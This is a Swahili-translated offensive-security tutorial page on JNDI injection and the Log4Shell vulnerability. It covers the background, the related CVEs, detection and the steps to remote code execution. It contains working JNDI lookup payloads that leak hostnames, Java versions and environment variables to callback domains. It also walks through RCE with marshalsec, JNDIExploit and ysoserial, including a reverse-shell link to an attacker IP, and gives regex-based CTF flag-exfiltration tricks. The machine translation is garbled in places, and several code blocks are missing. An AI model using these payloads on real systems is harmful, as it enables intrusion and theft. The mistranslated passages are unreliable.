JNDI - Java Naming and Directory Interface & Log4Shell
Kikundi cha Usalama cha Kujitahidi Kwa Bidii
Taarifa Msingi
JNDI, iliyoundwa ndani ya Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.
Kumbukumbu ya Majina ya JNDI
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Kumbukumbu za Majina za JNDI, ambazo huja katika aina mbili:
Anwani za Kumbukumbu: Inabainisha eneo la kipengee (k.m., rmi://server/ref), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
Kiwanda cha Mbali: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka kwa eneo la mbali.
Hata hivyo, mbinu hii inaweza kutumiwa vibaya, ikisababisha upakiaji na utekelezaji wa nambari ya kupindukia. Kama kinga:
RMI:
java.rmi.server.useCodeabseOnly = truekwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = falsekwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kamakweli, utekelezaji wa nambari ya mbali unawezekana bila usimamizi wa Meneja wa Usalama.CORBA: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
Hata hivyo, Meneja wa Majina, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu upatikanaji wa vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha upakiaji wa vitu vya Java vya kupindukia au kutumia vipengele vya programu vilivyopo (gadgets) kutekeleza nambari yenye nia mbaya.
Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Licha ya kinga, mapungufu bado yapo, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kudanganya kinga zilizopo.
Mfano wa JNDI
Hata kama umeweka PROVIDER_URL, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: ctx.lookup("<attacker-controlled-url>") na hilo ndilo ambalo muhusika atatumia kudanganya kupakia vitu vya kupindukia kutoka kwa mfumo anaodhibiti.
Muhtasari wa CORBA
CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia Kumbukumbu ya Vitu Inayoweza Kuingiliana (IOR) kutambua kipekee vitu vya mbali. Kumbukumbu hii inajumuisha habari muhimu kama:
Kitambulisho cha Aina: Kitambulisho kipekee cha kiolesura.
Codebase: URL ya kupata darasa la stub.
Kwa umuhimu, CORBA haiko hatarini kwa asili. Kuhakikisha usalama kawaida kunahusisha:
Usanidi wa Meneja wa Usalama.
Usanidi wa Meneja wa Usalama kuruhusu uhusiano kwa vituo vya nambari vinavyoweza kuwa na nia mbaya. Hii inaweza kufikiwa kupitia:
Ruhusa ya Soketi, k.m.,
ruhusa java.net.SocketPermission "*:1098-1099", "unganisha";.Ruhusa ya kusoma faili, iwe kwa ujumla (
ruhusa java.io.FilePermission "<<FAILI ZOTE>>", "soma";) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa.
Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyororo na kuruhusu uhusiano huu kwa chaguo-msingi.
Muktadha wa RMI
Kwa RMI (Mwito wa Mbali wa Mbinu), hali ni tofauti kidogo. Kama ilivyo na CORBA, upakiaji wa darasa wa kupindukia kwa chaguo-msingi umepunguzwa. Kudanganya RMI, mtu kawaida atahitaji kudanganya Meneja wa Usalama, jambo muhimu pia katika CORBA.
LDAP
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.
Utafutaji utatumia URL kama ldap://localhost:389/o=JNDITutorial kupata kipengee cha JNDITutorial kutoka kwa seva ya LDAP na kupata sifa zake.
Utafutaji unalenga huduma za majina kwani tunataka kupata chochote kilichofungwa kwa jina.
Ikiwa utafutaji wa LDAP uliitwa na SearchControls.setReturningObjFlag() na kweli, kipengee kilichorudiwa kitajengwa upya.
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi. Mtu anaweza kuharibu rekodi za LDAP kwa kuweka mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa kuambukiza mashine kumi ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya shambulio la MitM katika utafutaji wa LDAP kwa mfano.
Ikiwa unaweza kuwezesha programu kutatua JNDI LDAP URL, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell).
Shambulio la Deserializesheni
Shambulio limeorodheshwa na litadeserializwa.
Ikiwa trustURLCodebase ni kweli, muhusika anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vitu vya kupindukia katika njia ya darasa.
Shambulio la Kumbukumbu ya JNDI
Ni rahisi kushambulia hii LDAP kwa kutumia marejeleo ya JavaFactory:
Udhaifu wa Log4Shell
Udhaifu unazuka katika Log4j kwa sababu inasaidia sintaksia maalum katika fomu ${prefix:jina} ambapo prefix ni moja ya Utafutaji tofauti ambapo jina linapaswa kuhesabiwa. Kwa mfano, ${java:version} ni toleo linalotumika la Java.
LOG4J2-313 ilileta kipengele cha Utafutaji wa jndi. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kawaida, ufunguo unapewa kiotomatiki kifungwa na java:comp/env/. Walakini, ikiwa ufunguo wenyewe una ":", kifungwa cha chaguo-msingi hakijatumiki.
Kwa : iliyopo katika ufunguo, kama katika ${jndi:ldap://mfano.com/a} hakuna kifungwa na seva ya LDAP inaulizwa kwa kipengee. Na Utafutaji hawa wanaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j haitumiki kurekodi habari za HTTP pekee bali kuingia chochote na data ambayo mwandishi ameonyesha.
Muhtasari wa CVE zinazohusiana na Log4Shell
CVE-2021-44228 [Kali]
Udhaifu huu ni kasoro muhimu ya kutokuaminika kwa deserialization katika sehemu ya log4j-core, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu utekelezaji wa nambari kwa mbali (RCE), ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida hiyo ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Maboresho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma kwa ulinzi zinapatikana (Sheria 1, Sheria 2).
CVE-2021-45046 [Kali]
Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa muhimu, CVE hii ni kasoro ya Kukataa Huduma (DoS) inayotokana na maboresho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. Ujumbe wa Twitter unaonyesha njia ya kuzidi. Shida hiyo imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.
CVE-2021-4104 [Juuyu]
Ikiathiri matoleo ya Log4j 1.x katika mipangilio isiyokuwa ya msingi kutumia JMSAppender, CVE hii ni kasoro ya kutokuaminika kwa deserialization. Hakuna maboresho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi log4j-core 2.17.0.
CVE-2021-42550 [Wastani]
Udhaifu huu unaathiri mfumo wa kuingiza Logback, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo uligunduliwa kuwa na udhaifu, na toleo jipya (1.3.0-alpha11 na 1.2.9) zimetolewa kushughulikia shida hiyo.
CVE-2021-45105 [Juuyu]
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa log4j 2.17.0 kusahihisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer.
Ikiathiri log4j toleo 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za uwezekano kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika chapisho cha blogi ya Checkmarx.
Uchunguzi wa Utekaji wa Log4Shell
Ugunduzi
Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau ombi la DNS kwa anwani unayotaja katika mzigo wako. Kwa hivyo, mizigo kama:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}(ikitumia canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}(ikitumia interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}(ikitumia Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}(ikitumia dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}(ikitumia huntress)
Tafadhali kumbuka hata kama ombi la DNS linapokelewa haimaanishi programu inaweza kutumiwa (au hata kuwa na udhaifu), utahitaji kujaribu kutumia.
Kumbuka kwamba kwa kutumia toleo 2.15 unahitaji kuongeza kizuizi cha ukaguzi wa localhost: ${jndi:ldap://127.0.0.1#...}
Ugunduzi wa Kienyeji
Tafuta matoleo hatarishi ya ndani ya maktaba kwa:
Uhakiki
Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika. Hii inaweza kuwa na manufaa sana kwa mambo 2:
Kwa ajili ya kuthibitisha udhaifu
Kwa ajili ya kuvuja taarifa kwa kutumia udhaifu
Kwa mfano unaweza kuomba kitu kama:
au kama ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} na ikiwa ombi la DNS linapokelewa na thamani ya mazingira ya env, unajua programu ina udhaifu.
Taarifa nyingine unaweza kujaribu kuvuja:
Taarifa ya RCE
Mwenyeji anayotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 wanalindwa dhidi ya vector ya shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la com.sun.jndi.ldap.object.trustURLCodebase, ambayo inazuia JNDI kutoa upakiaji wa msingi wa kanuni kutoka kijijini kupitia LDAP. Walakini, ni muhimu kuelewa kwamba toleo hizi hazilindwi dhidi ya vector ya shambulio la deserializesheni.
Kwa wadukuzi wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia kifaa cha kielelezo kilichothibitishwa ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa madhumuni haya. Kinyume chake, kutumia toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.
Kwa taarifa zaidi (kama vikwazo kwenye vectors vya RMI na CORBA) angalia sehemu ya Marejeleo ya Jina la JNDI iliyopita au https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsec na mzigo wa desturi
Unaweza kujaribu hii kwenye kisanduku cha THM: https://tryhackme.com/room/solar
Tumia zana marshalsec (toleo la jar linapatikana hapa). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
Ili kumshawishi lengo kuleta msimbo wa kabati wa nyuma, tengeneza faili ya Java iliyoitwa Exploit.java na yaliyomo hapa chini:
Kamilisha faili ya Java kuwa faili ya darasa ukitumia: javac Exploit.java -source 8 -target 8. Kisha anzisha seva ya HTTP katika saraka inayohifadhi faili ya darasa kwa kutumia: python3 -m http.server. Hakikisha seva ya LDAP ya marshalsec inahusisha seva hii ya HTTP.
Chochote kile kinachoweza kusababisha utekelezaji wa darasa la kudanganya kwenye seva dhaifu kwa kutuma mzigo unaofanana na:
Maelezo: Kudukuzi huu unategemea usanidi wa Java kuruhusu mzigo wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililothibitishwa kwa utekelezaji wa msimbo wa kupindukia.
RCE - JNDIExploit
Tafadhali elewa kwamba kwa sababu fulani mwandishi aliondoa mradi huu kutoka github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa kwenye https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 lakini ikiwa unataka kuheshimu uamuzi wa mwandishi, tumia njia tofauti ya kutumia udhaifu huu.
Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza.
Kwa mfano huu unaweza tu kukimbia seva dhaifu ya wavuti kwa log4shell kwenye bandari 8080: https://github.com/christophetd/log4shell-vulnerable-app (kwenye README utapata jinsi ya kuikimbia). Programu hii dhaifu inalogi na toleo dhaifu la log4shell maudhui ya kichwa cha ombi la HTTP X-Api-Version.
Kisha, unaweza kupakua faili ya jar ya JNDIExploit na kuitekeleza kwa:
Baada ya kusoma nambari kwa dakika chache tu, katika com.feihong.ldap.LdapServer na com.feihong.ldap.HTTPServer unaweza kuona jinsi seva za LDAP na HTTP zinavyoundwa. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio. Katika com.feihong.ldap.gadgets unaweza kupata gadgets maalum ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kutekeleza nambari ya kupindukia inayoweza kutekelezwa). Na katika com.feihong.ldap.template unaweza kuona darasa tofauti za templeti ambazo zitakazosaidia kuzalisha mashambulizi.
Unaweza kuona mashambulizi yote yanayopatikana kwa java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Baadhi ya mashambulizi yanayoweza kusaidia ni:
Kwa hivyo, katika mfano wetu, tayari tuna programu iliyoweza kushambuliwa ya docker ikifanya kazi. Kuihusu:
Uponyesho wa mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza JNDIExploit-1.2-SNAPSHOT.jar.
Kumbuka kuangalia java -jar JNDIExploit-1.2-SNAPSHOT.jar -u kwa chaguo zingine za unyonyaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.
RCE - JNDI-Exploit-Kit
Kwa njia kama ile ya unyonyaji uliopita, unaweza kujaribu kutumia JNDI-Exploit-Kit kudukua udhaifu huu. Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia:
Kushambulia hii kutumia kitu cha java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama chumba cha jua cha THM. Hata hivyo, hii kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haichukulii darasa lililoaminika kutekeleza kanuni za kupindukia.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ni chombo kingine cha kutengeneza viungo vya JNDI vinavyofanya kazi na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP na seva ya HTTP.\
RCE - ysoserial & JNDI-Exploit-Kit
Chaguo hili ni muhimu sana kushambulia toleo la Java lililojulishwa kuamini darasa maalum na si kila mtu. Kwa hivyo, ysoserial itatumika kutengeneza uwekaji wa darasa za kuaminika ambazo zinaweza kutumika kama vifaa vya kutekeleza kanuni za kupindukia (darasa lililoaminika lililochukuliwa na ysoserial lazima litumiwe na programu ya java ya mwathiriwa ili shambulio lifanye kazi).
Kwa kutumia ysoserial au ysoserial-modified unaweza kuunda shambulio la uundaji wa tena ambalo litapakuliwa na JNDI:
Tumia JNDI-Exploit-Kit kuzalisha viungo vya JNDI ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumia shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja na JNDI-Exploit-Kit au hata mizigo yako ya usasaishaji wa deserialization (zilizozalishwa na wewe au ysoserial).
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kuchexploitisha udhaifu na kupata reverse shell kwa kutuma kwa toleo lenye udhaifu la log4j: ${ldap://10.10.14.10:1389/generated}
Kupitisha mfumo
Skaneti za Kiotomatiki
https://github.com/palantir/log4j-sniffer - Tafuta maktaba za hatari za ndani
Maabara za Jaribio
Baada ya Kutumia Log4Shell
Katika makala ya CTF hii inaeleza vizuri jinsi inavyoweza kufanyika kutumia baadhi ya vipengele vya Log4J.
Ukurasa wa usalama wa Log4j una sentensi za kuvutia:
Kutoka toleo la 2.16.0 (kwa Java 8), kipengele cha kutafuta ujumbe kimeondolewa kabisa. Utafutaji katika usanidi bado unafanya kazi. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI katika usanidi sasa unahitaji kuwezeshwa kwa uwazi.
Kutoka toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), maneno ya utafutaji katika usanidi yanapanuliwa kwa njia ya kurudufu tu; katika matumizi mengine yoyote, utafutaji wa kiwango cha juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haurudishwi.
Hii inamaanisha kwamba kwa chaguo-msingi unaweza kusahau kutumia shambulio la jndi. Zaidi ya hayo, ili kufanya utafutaji wa kurudufu unahitaji kuwa umeweka mipangilio hiyo.
Kwa mfano, katika CTF hiyo ilikuwa imepangiliwa katika faili log4j2.xml:
Utafutaji wa Mazingira
Katika CTF hii muhusika alidhibiti thamani ya ${sys:cmd} na alihitaji kuchota bendera kutoka kwa mazingira ya pembejeo.
Kama ilivyoonekana kwenye ukurasa huu katika mizigo iliyopita kuna njia tofauti za kupata mazingira ya pembejeo, kama vile: ${env:FLAG}. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
Kuchota katika Mifano
Katika CTF, haukuweza kupata stderr ya programu ya java kutumia log4J, lakini mifano ya Log4J hutumwa kwa stdout, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: ${java:${env:FLAG}}. Hii inafanya kazi kwa sababu ${java:CTF{blahblah}} haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
Mifano ya Kubadilisha Kigezo
Kutaja tu, unaweza pia kuingiza mifano mpya ya ubadilishaji na kusababisha mifano ambayo italogiwa kwa stdout. Kwa mfano:
Hii haikuonekana kuwa na manufaa kwa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
Mifano ya Kubadilisha Kigezo cha Regex
Hata hivyo, ni rahisi kutumia baadhi ya mifano ya ubadilishaji inayounga mkono regexes kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za utafutaji wa binary au kulingana na wakati.
Utafutaji wa binary kupitia ujumbe wa kosa
Mfano wa ubadilishaji %replace unaweza kutumika kwa kubadilisha maudhui kutoka kwa herufi hata kwa kutumia regexes. Inafanya kazi kama hivi: replace{pattern}{regex}{substitution}
Kwa kufanya tabia hii unaweza kufanya ubadilishaji kusababisha kosa ikiwa regex ililingana na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
Kulingana na Wakati
Kama ilivyotajwa katika sehemu iliyopita, %replace inasaidia regexes. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye ukurasa wa ReDoS kusababisha timeout ikiwa bendera itapatikana. Kwa mfano, mzigo kama %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} ungechochea timeout katika CTF hiyo.
Katika maandishi haya, badala ya kutumia shambulio la ReDoS, ilifanya shambulio la kuongeza ili kusababisha tofauti ya wakati katika majibu:
Ikiwa bendera inaanza na
flagGuess, bendera nzima itabadilishwa na#29 (Nilitumia herufi hii kwa sababu inaweza kuwa sio sehemu ya bendera). Kila moja ya#29 zinazopatikana kisha zinabadilishwa na#54. Mchakato huu unarudiwa mara 6, ikiongoza kwa jumla ya29*54*54^6* =`` ``96816014208#-s!Kuchukua nafasi ya
#nyingi kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi naflagGuess, tutapokea nambari ya hali isiyo ya 500)
Marejeo
Kikundi cha Usalama cha Kujaribu Kwa Bidii
Last updated
